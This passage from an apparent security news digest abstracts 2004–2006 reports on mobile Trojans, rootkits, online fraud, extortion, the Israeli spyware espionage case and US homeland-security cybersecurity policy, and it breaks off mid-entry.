Antivirus companies are warning of new malicious software that can infect any cell phone capable of running Java applications, not just feature-rich smart phones. The Trojan horse was first spotted by Moscow-based Kaspersky Lab, which calls it RedBrowser. The malicious code poses as an application that promises people the ability to visit mobile Internet sites using text messages instead of an actual Internet connection, Kaspersky said in a statement Tuesday, February 28. Instead, the Trojan sends messages to certain premium rate numbers that charge between $5 and $6 per message, Kaspersky said.

Category 14.4 Trojans & rootkits

2006-03-06 **Hacker Defender rootkit development halt Holy Father security firm truce**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1934708,00.asp

"HACKER DEFENDER" ROOTKIT AUTHOR HALTS DEVELOPMENT.

The author of the Hacker Defender rootkit said he's taking a break from developing the popular hacking tool, but that he may soon return to developing new rootkit programs. The author, who uses the name "Holy Father," posted a message on the Hacker Defender Website calling a truce with security companies that make anti-rootkit technology. However, in an e-mail exchange with eWEEK, "Holy Father" said he isn't throwing in the towel, and that he may return to rootkit development after taking a break from Hacker Defender to work on other projects. Hacker Defender is one of the best-known rootkit programs. Rootkits have been common in computer hacking circles for years, and allow attackers to maintain access to a computer, without being detected, long after they have compromised its defenses. Hacker Defender was initially released as an open-source program in 2004. More recently, "Holy Father" has sold updated copies of the rootkit, dubbed "Golden Hacker Defender." That version of the program had an anti-detection engine designed to thwart anti-rootkit technology.

Category 14.4 Trojans & rootkits

2006-03-08 **Trojan horse vendor Website shut down RSA Security Panda Software**

DHS IAIP Daily;
http://www.informationweek.com/news/showArticle.jhtml?articleID=181502074

SECURITY RESEARCHERS TERMINATE SITES SELLING TROJANS.

Several Websites selling made-to-order Trojan horses to hackers have been shut down, thanks to the cooperation between U.S.-based RSA Security and Spain's Panda Software. The two companies collaborated in the effort to identify, locate, and shutter five sites: three were marketing la carte Trojans and two were sites where the buyers could monitor the infections the malware caused.

Category 14.4 *Trojans & rootkits*

2006-05-02 **WOW virus online gamers targeted World of Warcraft Trojan Horse attack fraud theft**

DHS IAIP Daily; http://www.it−
observer.com/news/6217/wow_virus_targets_onlin e_gamers/

WOW TROJAN TARGETS ONLINE GAMERS.

Security analysts at MicroWorld Technologies report that a new variant of the password stealing Trojan, named "Trojan-PSW.Win32.WOW.x," is spreading fast, attacking account holders of the online game "World of Warcraft." World of Warcraft is a multi-million dollar entity in the world of cyber games where huge sums change hands every second. Once the hacker gets hold of a gamer's password, he can transfer victim's goods to his personal account, which is easily converted to liquid currency through Gaming Currency Exchange Websites. MicroWorld experts have found that this Trojan slips into user computers via pop-up ads being displayed on many dubious gaming Websites, through a vulnerability in Internet Explorer.

15.1 Fraud

Category 15.1 Fraud

2005-01-06 **tsunami fraud Internet relief charity scam disaster relief**

NewsScan;
http://www.nytimes.com/2005/01/06/international/worldspecial4/06fbi.html?oref=login

BEWARE TSUNAMI INTERNET FRAUDS

The FBI has issued a warning about online frauds that try to capitalize on the recent tsunami disaster by offering to help tsunami victims or relatives for a fee. Audri Lanford of ScamBusters.org comments: "Within hours of 9/11 we had the 9/11 scams. We've seen them for every major disaster." (New York Times 6 Jan 2005)

Category 15.1 Fraud

2005-05-11 **NCAA online course cheating fraud student athletes Nicholls State University Louisiana**

EDUPAGE; http://www.insidehighered.com/news/2005/05/11/nicholls

NCAA FINDS ONLINE COURSE FRAUD

An investigation of student athletes at Nicholls State University in Louisiana has revealed that students and university staff had engaged in "gross academic fraud" by fraudulently completing online courses to preserve the students' eligibility for sports. The university's registrar discovered the fraud after noticing that many student athletes were completing online courses from Brigham Young University (BYU), often with much higher grades than for classes they took at Nicholls. As it turned out, two coaches and an academic adviser were giving students answers for the courses and in some cases serving as proctors for the students' tests. The National Collegiate Athletic Association (NCAA) confirmed the fraud and imposed penalties on the school's athletic programs, but the episode has raised a red flag about the potential for similar abuse of online programs. "There appeared generally not to be sufficient monitoring either by BYU or … by Nicholls State," according to Josephine Potuto, member of the NCAA panel that conducted the investigation. A statement from the panel noted, "This case illustrates the ease with which individuals can manipulate and then breach security protocols for online correspondence courses." Inside Higher Ed, 11 May 2005

Category 15.1 Fraud

2005-11-03 **hacker fraud botnet software computer compromise lawsuit**

DHS IAIP Daily; http://www.securityfocus.com/news/11353

MAN ACCUSED OF SELLING BOT SOFTWARE TO COMPROMISE COMPUTERS

Federal authorities have arrested an accused man of creating bot software to compromise nearly 400,000 Windows computers and then using his control of the systems to garner more than $60,000 in profits. James Aquilina, Assistant U.S. Attorney for the Central District of California and the prosecutor on the case stated, "This is the first case to charge someone for using bots for generating profits. On the one hand, he is selling bots to other people so that they can (perform) denial-of-service attacks and spam to make money. And on the other hand, he is using bots to make affiliate income." Over nearly a year, the man allegedly used automated software to infect Windows systems, advertised and sold access to the compromised PCs, and used the software to perpetrate click fraud, garnering tens of thousands of dollars in affiliate fees.

Category 15.1 Fraud

2006-01-18 **online fraud zero liability stock broker E*Trade Securities and Exchange Commission**

EDUPAGE; http://www.nytimes.com/2006/01/18/technology/18data.html

ONLINE BROKER TO COVER FRAUD LOSSES

Online stock broker E*Trade has announced a "zero liability" policy in which it will cover all losses resulting from online fraud. Although some other online brokerage firms said they have absorbed some or all of the costs of fraud in past incidents, E*Trade becomes the first to establish such a policy. Losses due to fraud in the online brokerage industry remain relatively small and are a fraction of losses to credit card fraud, but the number of data breaches is rising. Moreover, when people are victimized through brokerage fraud, they are harmed "to the tune of hundreds of thousands of dollars," according to Gerri Walsh, acting director of the Securities and Exchange Commission's Office of Investor Education. Officials at E*Trade said they expect other brokers will follow suit and implement similar policies, bringing the entire industry to a level similar to that of credit card companies. A federal law passed in the 1970s requires issuers of credit cards to limit customer liability to $50, but most issuers cover all losses.

Category 15.1 Fraud

2006-04-21 **charges settlement E-rate program fraud Department of Justice DoJ**

EDUPAGE; http://www.itworld.com/Man/2681/060421erate/

COMPANY TO PAY $4.5 MILLION IN E-RATE FRAUD CASE

Houston-based NextiraOne has agreed to pay $4.5 million to settle charges that it defrauded the government and the Oglala Nation Educational Coalition through the federal E-rate program. The work for which NextiraOne was under investigation took place at the Pine Ridge Reservation in South Dakota. According to a complaint by the Department of Justice, NextiraOne billed the government for products and services it did not deliver; submitted fraudulent invoices; and charged inflated prices for other products. The E-rate program, designed to extend Internet access to schools and libraries that could not otherwise afford it, has come under fire for what some have described as rampant fraud. Under the settlement, NextiraOne will pay a criminal fine of $1.9 million and will return $2.6 million to the government.

15.2 Extortion

Category 15.2 Extortion

2005-10-05 **VNUnet encryption attack hackers data PC key Internet Explorer malware Trojan**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2143265/web−attack−extorts −encryption

WEB ATTACK EXTORTS BY ENCRYPTION

Security experts today warned of a newly discovered attack in which hackers encrypt data on a compromised PC and demand payment for the decryption key. These attacks are happening when a user with a improperly patched version of Internet Explorer visits a webpage containing malware that downloads a Trojan.

Category 15.2 Extortion

2006-01-18 **hacker Website blackmail fraud The Dark Group extortion**

DHS IAIP Daily; http://news.ft.com/cms/s/cd05a42c−87c6−11da−8762−0000779e234 0.html

HACKERS BLACKMAIL WEBSITE

The FBI is investigating the hijacking of a Website that hosts micro-advertisements by hackers who demanded a ransom to restore the site. Alex Tew of Britain was sent a demand for US$50,000 by e-mail by a hacker, believed to be Russian. When he refused, the Website crashed. Tew first received a threat on January 7 from a body calling itself The Dark Group, demanding $5,000. He thought the blackmail was a hoax and took little notice. However, on Wednesday, January 18, when Tew reached his goal of earning $1 million, the hackers intensified their attack and hijacked the Website.

Category 15.2 Extortion

2006-05-26 **criminal hackers extortion privacy social networking**

Newsday < http://www.newsday.com/news/local/longisland/ny-lihack264757084may26,0,7790806.story >

MYFRIENDSPY WRITERS CHARGED WITH EXTORTION

Shaun Harrison and Saverio Mondelli were arrested and charged with attempting to extort $150,000 from MySpace.com by writing a program (MyFriendSpy) to allow "MySpace.com users to see the online identities of anyone who looked at their profiles, undermining the Web site's privacy guarantees," according to "Jeffrey McGrath, an assistant Los Angeles district attorney." Joseph Mallia, writing in Newsday, explained in his report that "Harrison, 18, of Ronkonkoma, and Mondelli, 19, of Oakdale, were arrested in Los Angeles Friday when they stumbled into a cross-country Secret Service sting operation, authorities said. They traveled to Los Angeles in the expectation that they would collect the money from MySpace.com employees, McGrath said."

16.1 Industrial espionage

Category 16.1 Industrial espionage

2005-06-01 **industrial espionage Trojan horse spyware police investigation arrests harassment data theft copyright violation intellectual property social engineering keystroke logging remote control jail house arrest**

CNN; http://www.cnn.com/2005/TECH/06/01/israel.computer.breakin.ap/

TROJAN HORSE SCANDAL IN ISRAEL

Israeli author Amon Jackont was upset to find parts of the manuscript on which he was working posted on the Internet. Then someone tried to steal money from his bank account. Suspicion fell on his stepdaughter's ex-husband, Michael Haephrati.

Police discovered a keystroke logger on Jackont's computer. Turned out Haephrati had also sold spy software to clients; the Trojan was concealed in what appeared to be confidential e-mail. Once installed on the victims' computers, the software sent surveillance data to a server in London, England. Haephrati was detained by UK police and investigations were underway in Germany and Israel. Twelve people were in jail in Israel; eight others were under house arrest. Suspects included private investigators and top executives from industrial firms. Victims included Hewlett-Packard, the Ace hardware stores, and a cable-communications company.

[Abstract by MK]

EXTENSIVE INDUSTRIAL ESPIONAGE CASE IN ISRAEL

A large scale industrial espionage case unfolded in Israel…. A hacker had developed a Trojan horse application and sold it to several private eye companies -- it seems the Trojan was used for keyboard sniffing as well as file transfer. The private eyes' clients chose the the targeted victims, and the Trojan was sent there by e-mail or posted CD, masquerading as legitimate business presentation.

The collected info was transferred from the victims' computers into an FTP server site (it's not clear if this site was maintained by the private eyes or the hacker) to which access was sold to the clients in the form of one-time passwords at 2000 Euro per entry.

It seems none of the targeted systems was hardened in any way to detect such an intrusion, and the scheme was discovered only because the hacker had posted some of the illegally obtained items over the net.

[Abstract by Amos Shapir]

In RISKS 23.89, Gadi Evron contributed some follow-up information that included these comments::

>… Apart from the technical side of this attack and the extreme wide-scale of it, another interesting aspect is the use of social engineering.

In one description, I heard that a woman called a certain individual at one of the companies with a business offer, and later sent him a presentation via e-mail. When that presentation did not work, she proceeded to send him a CD, which did not work either….

This is not the first time this happened, and not the first time we've seen industrial espionage in IL, or private investigator companies developing their technological and operational capabilities. I've personally been approached about such a job twice in the past 2 years.<

Category 16.1 *Industrial espionage*

2005-06-20 **information warfare China Asia cyber-conflict economic harm costs industrial espionage**

RISKS 23 91

ASIAN HACKERS BLAMED FOR ATTACKS ON U.K., U.S. COMPUTER NETWORKS

A U.K.'s National Infrastructure Security Coordination Center (NISCC) report says unidentified hackers from Asia have been launching a wave of attacks on government and corporate computer systems in the U.S., Canada, and the U.K. in an effort to steal sensitive commercially and economically valuable information.

[Abstract by Peter G. Neumann]

Category 16.1 *Industrial espionage*

2006-01-31 **corporate industrial espionage information warfare Israeli couple held**

DHS IAIP Daily; http://today.reuters.com/news/NewsArticle.aspx?type=technolo gyNews&storyID=2006−01−31T121453Z_01_L31454049_RTRUKOC_0_US− CRIME−ISRAEL−SPYWARE.xml

ISRAEL HOLDS COUPLE IN CORPORATE ESPIONAGE CASE.

An Israeli couple suspected of masterminding a computer virus that set off a major industrial espionage investigation was repatriated for trial on Tuesday, January 31, under an extradition deal with Britain, police said. Michael and Ruth Haephrati were arrested in their London home last year over allegations that a Trojan horse program they had developed was bought by private investigators who helped top Israeli corporations spy on each other's computers. Israeli police spokesperson Mickey Rosenfeld said the couple flew in overnight after Britain approved their extradition. Tel Aviv Magistrate's Court ordered them placed in custody for 10 days so that they could be interrogated by police. Computer hacking carries a maximum five year jail term in Israel, which can be increased if data theft is involved. At least 18 other Israelis have been questioned in the Trojan horse case, including corporate executives. Several private investigators have been indicted on related charges. Among companies probed by police in connection with the case were Israel's top mobile phone operator, Cellcom, and two subsidiaries of phone company Bezeq Israel Telecom -- cellular operator Pelephone and the satellite television provider YES. All of the firms denied any wrongdoing.

Category 16.1 *Industrial espionage*

2006-03-15 **spyware software sale trial private investigators industrial espionage**

DHS IAIP Daily;
http://www.theregister.co.uk/2006/03/15/spyware_trojan_guilty_plea/

SPYWARE-FOR-HIRE COUPLE PLEAD GUILTY.

An Israeli couple faces prison after confessing to the development and sale of a spyware Trojan horse that helped private investigators snoop on their clients' business competitors. Ruth Brier-Haephrati and Michael Haephrati have entered guilty pleas to industrial espionage charges over the Trojan horse case. Ruth was charged with a litany of offenses including fraud, planting computer viruses, and conspiracy. Her husband, Michael, is charged with aiding and abetting those offenses.

Category 16.1 *Industrial espionage*

2006-03-28 **industrial espionage Trojan horse spyware police investigation arrests harassment data theft copyright violation intellectual property social engineering keystroke logging remote control jail trial conviction prison**

NEWSFACTOR < http://tinyurl.com/ouefj >

INDUSTRIAL ESPIONAGE COUPLE GETS JAIL TIME

The perpretrators of the Trojan Horse scandal that rocked Israel in May 2005 were sent to jail in March 2006. The husband-and-wife team installed Trojan horse software that functioned as keystroke loggers and transmitted confidential data for use in industrial espionage. They also had to pay about ½MU$ in restitution to their victims. Michael Haephrati, who wrote the software, went to prison for four years; Ruth Brier-Haephrati was jailed for two years for her role in selling the code to dishonest private investigators.

16.2 Industrial information systems sabotage

Category 16.2 *Industrial information systems sabotage*

2005-02-17 **VoIP voice over IP FCC phone company antitrust Colorado investigation denial-of-service DoS information warfare competition**

NewsScan; http://www.wsj.com/

PHONE COMPANY SUSPECTED OF BLOCKING VOIP CALLS

The FCC's investigating whether a rural phone company blocked access to the Vonage Internet-phone service, which was competing for the phone company's customers. The company has not been identified. The problem became public several days ago when Larry Lessig, a professor at Stanford Law School and an advocate of Internet freedom, mentioned Vonage's problem at an industry conference in Boulder, Colorado. Shutting off a potential competitor could violate antitrust laws barring companies that control essential facilities from refusing to give competitors the access needed to compete. (Wall Street Journal 17 Feb 2005)

16.3 Infrastructure protection & homeland security

Category 16.3 *Infrastructure protection & homeland security*

2004-12-03 **CIA Central Intelligence Agency Tenet cybersecurity concerns worries issues vulnerabilities homeland security terrorism**

NewsScan;
http://www.washingtontimes.com/functions/print.php?StoryID=20041201-114750-6381r

EX-CIA CHIEF WORRIES ABOUT INTERNET SECURITY

Former CIA Director George J. Tenet sees the Internet as "a potential Achilles' heel" in the fight against terrorism, endangering "our financial stability and physical security if the networks we are creating are not protected." Calling for new cybersecurity measures, Tenet says: "I know that these actions will be controversial in this age when we still think the Internet is a free and open society with no control or accountability, but ultimately the Wild West must give way to governance and control." He believes that access to the Web might need to be limited to those who can show they take security seriously. (UPI/Washington Times 3 Dec 2004)

Category 16.3 *Infrastructure protection & homeland security*

2004-12-06 **committee cybersecurity post Department of Homeland Security DHS recommendation**

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2004/1206/web−dhs−12−06−04.a sp

COMMITTEE PUSHES FOR CYBERSECURITY POST.

Members of the House Select Homeland Security Committee have recommended establishing a new assistant secretary position within the Homeland Security Department (DHS) to better integrate and coordinate cybersecurity issues. The recommendation is one of six suggestions listed in a new 41-page, bipartisan report that was released today by the committee's cybersecurity subcommittee. The report stated that although DHS officials have created the National Cyber Security Division and several other coordination entities, "now is the time to build toward more robust capabilities." It also stated DHS officials need to exert more effort to work with the private sector and across critical infrastructure sectors in addition to state and local governments. Report: http://hsc.house.gov/files/cybersecurityreport12.06.04.pdf

---

Category 16.3 *Infrastructure protection & homeland security*

2004-12-07 **cybersecurity serious attention computer security firms report CSIA research and development R&D Department Homeland Security DHS**

DHS IAIP Daily;
http://news.com.com/Cybersecurity+post+needs+a+promotion%2C+firms+say/2100−7348_3−5481497.html

CYBERSECURITY POST NEEDS A PROMOTION, FIRMS SAY.

The U.S. government is not taking cybersecurity seriously enough and should spend more money and energy on the topic, a group of computer security firms said Tuesday, December 7. At an event in Washington, DC, members of the Cyber Security Industry Alliance (CSIA) warned of the potential dangers of Internet attacks and called on the next Bush administration to create a new assistant secretary position inside the Department of Homeland Security, ratify the Council of Europe's cybercrime treaty, create an emergency coordination network to handle Internet outages, increase R&D funding for cybersecurity, and designate a federal agency to track the costs of cyberattacks. CSIA members include Check Point Software Technologies, McAfee, Symantec, Entrust, PGP and Computer Associates.

Category 16.3 *Infrastructure protection & homeland security*

2004-12-08 **government homeland security cybersecurity support**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A45622-2004Dec7.html

GROUP URGES GOVERNMENT TO FOCUS ON CYBERSECURITY

The Cyber Security Industry Alliance is calling on the Bush administration to beef up its cybersecurity operations, starting with elevating the position of national cybersecurity director to assistant secretary level. "There is not enough attention on cybersecurity within the administration. The executive branch must exert more leadership," says Alliance director Paul B. Kurtz, who's a former senior cybersecurity official in the Bush administration. Kurtz was joined by Amit Yoran, the former director of Homeland Security's National Cyber Security Division who resigned in September. Meanwhile, a provision in the recently passed intelligence overhaul bill that would have raised cybersecurity's profile in the Homeland Security Department was stripped out before passage. The Alliance's recommendations mirror those outlined in a report issued Monday by the House subcommittee on cybersecurity, which also calls for the administration to consider tax breaks and other incentives for businesses that make computer security a top priority. In addition, both groups are urging the Homeland Security Department to take the lead in creating a disaster recovery and response plan, should the U.S. suffer debilitating digital sabotage. (Washington Post 8 Dec 2004)

Category 16.3 *Infrastructure protection & homeland security*

2004-12-10 **cybersecurity office Department of Homeland Security DHS IAIP CSIA proposal recommendation**

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1739061,00.asp

CYBER-SECURITY OFFICE MOVING AHEAD.

The office in charge of cyber-security in the Department of Homeland Security (DHS) is planning to continue moving ahead on the agenda the agency has already set. According to Lawrence Hale, deputy director of the National Cyber-Security Division at DHS, the agency considers physical and cyber-security so deeply intertwined that it would be impossible to separate them. Hale said the current organization of the IAIP (Directorate of Information Analysis and Infrastructure Protection) has cyber-security and physical security working together. Earlier this week, the CSIA (Cyber-Security Industry Alliance) released a series of recommendations, including a reorganization that would make the director of the cyber-security division an assistant secretary. Supporters say such a change would raise the profile of cyber-security, thus bringing the area more clout and more funding. While Hale said he thinks CSIA's proposals are an important means to raise the visibility of cyber-security, he doesn't agree that cyber-security should be treated differently from physical security. But he said he thought the CSIA meeting in Washington, DC where the recommendations were presented was helpful.

Category 16.3 *Infrastructure protection & homeland security*

2005-01-07 **Feds national plan DHS Homeland Security government state local tribal private emergency prevention response recovery**

EDUPAGE; http://www.fcw.com/fcw/articles/2005/0103/web-response-01-06-05.asp

FEDS LAUNCH NATIONAL RESPONSE PLAN

The Department of Homeland Security has released a plan that directs how the federal government is to work with state, local, and tribal governments, as well as with the private sector, in the event of a national emergency. The National Response Plan is rooted in the National Incident Management System, which is currently under development by the Federal Emergency Management Agency and is expected to be complete by the end of fiscal 2007. The National Response Plan establishes standards for training and organization. In addition, it outlines protocols for handling incidents that span various jurisdictions, with the goal of helping officials at all levels of government better coordinate their responses despite widely varying technologies used in prevention, response, and recovery efforts.

Category 16.3 *Infrastructure protection & homeland security*

2005-02-02 **Department of Homeland Security DHS privacy office first report Congress biometric sensor network technology**

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0131/web-dhs-02-02-05.asp

DEPARTMENT OF HOMELAND SECURITY PRIVACY OFFICE ISSUES FIRST ANNUAL REPORT

Department of Homeland Security (DHS) officials on Wednesday, February 2, released DHS' first annual privacy report to Congress, outlining work done in numerous areas, including technology. A primary goal of the department's privacy office, which is the first Congressionally mandated one for a federal agency, is ensuring that technologies sustain "privacy protections relating to the use, collection, and disclosure of personal information," according to the 112-page report. The office is examining use of biometric technology, radio frequency identification devices, data mining, and distributed data environments -- where data is shared with users, but remains with the owner. The privacy office is also considering the effect of emerging technologies, including geospatial information systems and services, unmanned aerial vehicles, and ubiquitous sensor networks, which may potentially raise separate privacy protection concerns, according to the report. Report: http://www.dhs.gov/dhspublic/interweb/assetlibrary/privacy_a nnualrpt_2004.pdf

---

Category 16.3 *Infrastructure protection & homeland security*

2005-02-22 **federal government preparedness exercise Department of Homeland Security DHS RSA conference San Francisco**

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0221/web−cyber−02−22−05 .asp

FEDERAL GOVERNMENT TO HOLD CYBER PREPAREDNESS EXERCISE

The federal government and several international partners will hold a cyber preparedness exercise in November, Department of Homeland Security (DHS) officials said at the RSA Conference in San Francisco last week. Its purpose is to give federal agencies an opportunity to test their plans for responding to a direct or indirect attack on the computer networks that control the nation's critical infrastructure such as power plants and oil pipelines. The exercise will be unclassified, and the public will be informed, said Hun Kim, deputy director of the National Cyber Security Division at DHS. The RSA Conference brings together IT professionals from industry, academia, and government to share information and exchange ideas on technology trends and best practices in IT security.

Category 16.3 *Infrastructure protection & homeland security*

2005-03-01 **Department Homeland Security DHS Justice DoJ Extensible Markup Language XML information exchange sharing Collaboration on Objects for Reuse and Exchange**

DHS IAIP Daily; http://www.fcw.com/fcw/articles/2005/0228/web−dhsdoj−03−01−0 5.asp

DEPARTMENTS OF HOMELAND SECURITY AND JUSTICE WORK ON XML MODEL TO HELP SHARE INFORMATION

Department of Homeland Security (DHS) and Department of Justice officials have a new partnership to enhance development of an Extensible Markup Language (XML) model that could save federal, state, local and tribal agencies billions of dollars as they improve their computer systems to share information with one another. Officials said this represents a significant step in broadening the use of the Global Justice XML Data Model, which was started about three years ago, across the federal government. It could mean future partnerships with other departments, such as Transportation and Health and Human Services, and the intelligence community, which used the model as the basis for a schema to share the terrorism watch list. XML is essentially an open standard or translator that systems can use to communicate with one another. Development of the core model would ensure long-term stability of the model and ensure that early efforts in its use are not wasted. The information-sharing initiative is called the Collaboration on Objects for Reuse and Exchange.

Category 16.3 *Infrastructure protection & homeland security*

2005-03-18 **cybersecurity report prioritization government advisory committee vulnerabilities recommendations**

RISKS; http://www.nitrd.gov/pubs/ 23 81

PRESIDENT'S INFORMATION TECHNOLOGY ADVISORY COMMITTEE RELEASES NEW REPORT -- CYBER SECURITY: A CRISIS OF PRIORITIZATION

Vital to the Nation's security and everyday life, the information technology (IT) infrastructure of the United States is highly vulnerable to disruptive domestic and international attacks, the President's Information Technology Advisory Committee (PITAC) argues in a new report. While existing technologies can address some IT security vulnerabilities, fundamentally new approaches are needed to address the more serious structural weaknesses of the IT infrastructure.

In Cyber Security: A Crisis of Prioritization, PITAC presents four key findings and recommendations on how the Federal government can foster new architectures and technologies to secure the Nation's IT infrastructure. PITAC urges the Government to significantly increase support for fundamental research in civilian cyber security in 10 priority areas; intensify Federal efforts to promote the recruitment and retention of cyber security researchers and students at research universities; increase support for the rapid transfer of Federally developed cyber security technologies to the private sector; and strengthen the coordination of Federal cyber security R&D activities.

To request a copy of this report, please complete the form at http://www.nitrd.gov/pubs/, send an e-mail to nco@nitrd.gov, or call the National Coordination Office for Information Technology Research and Development at (703) 292-4873. Cyber Security: A Crisis of Prioritization can also be downloaded as a PDF file by accessing the link at http://www.nitrd.gov/pubs/.

About PITAC

The President's Information Technology Advisory Committee (PITAC) is appointed by the President to provide independent expert advice on maintaining America's preeminence in advanced information technology. PITAC members are IT leaders in industry and academia representing the research, education, and library communities, network providers, and critical industries, with expertise relevant to critical elements of the national IT infrastructure such as high-performance computing, large-scale networking, and high-assurance software and systems design. The Committee's studies help guide the Administration's efforts to accelerate the development and adoption of information technologies vital for American prosperity in the 21st century.

Contact: "Alan S. Inouye 1-703-292-4540" <inouye@nitrd.gov>

Category 16.3 *Infrastructure protection & homeland security*

2005-03-21 **IT infrastructure cybersecurity criticism Presidential committee Cyber Security: A Crisis of Polarization report**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?artic leID=159903541&t

PRESIDENTIAL COMMITTEE CRITICIZES IT INFRASTRUCTURE SECURITY

The President's IT Advisory Committee (PITAC) on Friday, March 18, released the results of a report, "Cyber Security: A Crisis Of Prioritization," criticizing the country's IT infrastructure as highly vulnerable to attack by terrorists and cybercriminals. "The IT infrastructure is highly vulnerable to premeditated attacks with potentially catastrophic effects," committee chair Marc Benioff and co-chair Edward Lazowska wrote in a February 28 letter to President Bush. This infrastructure includes the public Internet as well as power grids, air-traffic-control systems, financial systems, and military and intelligence systems, they add. The committee comprised of IT leaders and academia, makes four key recommendations to help curb security exposures and provide long-term IT infrastructure stability: increase federal support for fundamental research in civilian cybersecurity; intensify federal efforts to promote recruitment and retention of cybersecurity researchers and students at research universities; provide increased support for the rapid transfer of federally developed, cutting-edge cybersecurity technologies to the private sector; and, better federal coordination of cybersecurity R&D. Report:
http://www.itrd.gov/pitac/reports/20050301_cybersecurity/cyb ersecurity.pdf

---

Category 16.3 *Infrastructure protection & homeland security*

2005-03-22 **British intelligence warning Internet cyber attack UK computer critical infrastructure protection network counter terrorism al Qaeda**

DHS IAIP Daily; http://thescotsman.scotsman.com/index.cfm?id=305582005

BRITISH INTELLIGENCE WARNS OF POSSIBLE CYBER ATTACK IN UK

International terrorists are training to launch cyber-terror attacks on Britain which could cripple vital economic, medical and transport networks, the government's counter-terrorism coordinator said Monday, March 21. Sir David Omand, one of the most senior members of the British intelligence community, said surveillance of suspected al Qaeda affiliates suggests they are working to use the Internet and other electronic communications systems to cause harm. Intelligence officials say that no matter how much the state does to prepare for cyber-terrorism, a great deal will rest on the willingness of the private sector to "harden" their systems against attack. Britain has not yet experienced genuine acts of cyber-terrorism, but Sir David said intelligence chiefs are in little doubt that the country must be ready for such an attack. The authorities' greatest fears about electronic attacks relate to the more exposed networks that make up what is known as "critical national infrastructure", many of which are in civilian hands. The global nature of the Internet means the threat from cyber-attacks is equally international, forcing British agents to work closely with nations they say they would often regard with suspicion or even hostility.

Category 16.3 *Infrastructure protection & homeland security*

2005-04-04 **cyber terrorism analyst warning counterterrorism national cyber event critical infrastructure InfoSec World 2005 voice over Internet protocol VoIP**

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1782286,00.asp

CYBER-TERRORISM ANALYST WARNS AGAINST COMPLACENCY

Cyber-security and counterterrorism analyst Roger Cressey on Monday, April 4, pleaded with IT executives not to underestimate the threat of "national cyber-event" targeting critical infrastructure in the United States. During a keynote address at the InfoSec World 2005 conference, Cressey warned against discounting the danger of the Internet being used in a terrorist-related attack. "It may not be a terrorist attack, but a cyber-event is a very, very serious possibility. When it happens, it will have serious economic impact on our critical infrastructure." Cressey, who served as chief of staff to the president's Critical Infrastructure Protection Board at the White House, said there was enough evidence that U.S. enemies were actively using the Web to recruit, organize and communicate terrorism activities. Cressey, the on-air counterterrorism analyst for NBC News, said the rapid rate in which Internet security vulnerabilities was being detected only adds to the worry. Cressey used part of his keynote to call on VoIP (Voice over Internet Protocol) developers to put security on the front burner. Describing VoIP security as the great challenge of this decade, he said it would be a "big mistake" for another nascent industry to emerge without built-in protections.

Category 16.3 *Infrastructure protection & homeland security*

2005-04-06 **Department Homeland Security DHS privacy issues briefing personal data theft abuse anti-terrorism**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?articleID=160501384

COMMITTEE TO INFORM DHS ON PRIVACY ISSUES

A new group of public- and private-sector leaders in academia, business, and technology met Wednesday, April 6, in Washington, DC, to help the Department of Homeland Security (DHS) gain a greater understanding of how IT can be used to fight terrorism without exposing personal data to theft or abuse. The department's Data Privacy and Integrity Advisory Committee launched with a statement of mission and the selection of its inaugural chairman and vice chairwoman. Paul Rosenzweig, the committee's new chairman and a senior legal research fellow at the Heritage Foundation, said that the committee's greatest challenge will be helping the department as a whole focus on preserving individual freedoms while tightening security, and doing this in a public way. The committee will serve to inform DHS about privacy concerns related to all of the department's various agencies and directorates, which protect the nation's borders, waterways, and critical infrastructure. DHS Privacy Office: http://www.dhs.gov/privacy

---

Category 16.3 *Infrastructure protection & homeland security*

2005-04-18 **European Union EU information technology IT critical infrastructure study CI2RCO project national security protection**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0 ,10801,101160,00.html

EU TASK FORCE TO STUDY IT CRITICAL INFRASTRUCTURE

The European Union has set up a task force to explore what its 25 member states are doing to combat cyberthreats against the region's critical infrastructure. As part of the EU's Critical Information Infrastructure Research Coordination (CI2RCO) project, announced Friday, April 15, the task force aims to identify research groups and programs focused on IT security in critical infrastructures, such as telecommunications networks and power grids. "We want to bring together experts across the European Union, learn more about their programs and how we can cooperate in curbing what we view as a global problem," said Paul Friessem, a director at the Fraunhofer Institute for Secure Information Technology (SIT), one of the organizations in the European task force. "We also intend to collaborate with experts outside the EU, in particular in the U.S., Canada, Australia and even possibly Russia." One of the problems facing the task force is convincing parties to divulge information that some governments view as critical to their national security. The task force will also ask the critical infrastructure players about their requirements. The plan is to submit an overview of the situation to the European Commission over the next few months.

Category 16.3 *Infrastructure protection & homeland security*

2005-04-20 **cyber attack warning center pilot project CIDDAC infrastructure protection University of Pennsylvania**

DHS IAIP Daily;
http://www.infoworld.com/article/05/04/20/HNcyberpilot_1.htm l

CYBER ATTACK EARLY WARNING CENTER BEGINS PILOT PROJECT

A fledgling nonprofit group working to develop an automated cyber-attack early warning system, the Cyber Incident Detection Data Analysis Center (CIDDAC), is about to begin a pilot project to collect data on network intrusions from a group of companies in national-infrastructure industries. Backed by a grant from the Department of Homeland Security, CIDDAC has set up an operations center at the University of Pennsylvania's Institute of Strategic Threat Analysis and Response laboratory. Around 30 organizations will eventually participate in the project, although some are still being selected, according to CIDDAC Executive Director Charles Fleming. He expects to have useful data from the pilot test in about five months. CIDDAC's focus is on linking together organizations in industries such as banking, electrical power, gas and oil, telecommunications and transportation. The center will use a network of sensors, dubbed RCADSs (Real-Time Cyber Attack Detection Sensors), to gather information on intrusions and attempts. CIDDAC will also pass collected information on to law enforcement agencies, but Fleming emphasized that serving private-sector alert needs is the group's priority. CIDDAC Website: http://www.ciddac.org/

Category 16.3 *Infrastructure protection & homeland security*

2005-04-21 **DHS program University of Pennsylvania cyberattach study Cyber Incident Detection Analysis Center**

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005042101t.htm

PENN TO HEAD STUDY OF CYBERATTACKS

